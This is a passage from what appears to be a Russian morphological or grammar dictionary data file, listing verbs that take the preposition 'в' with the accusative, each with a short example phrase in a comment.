rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в 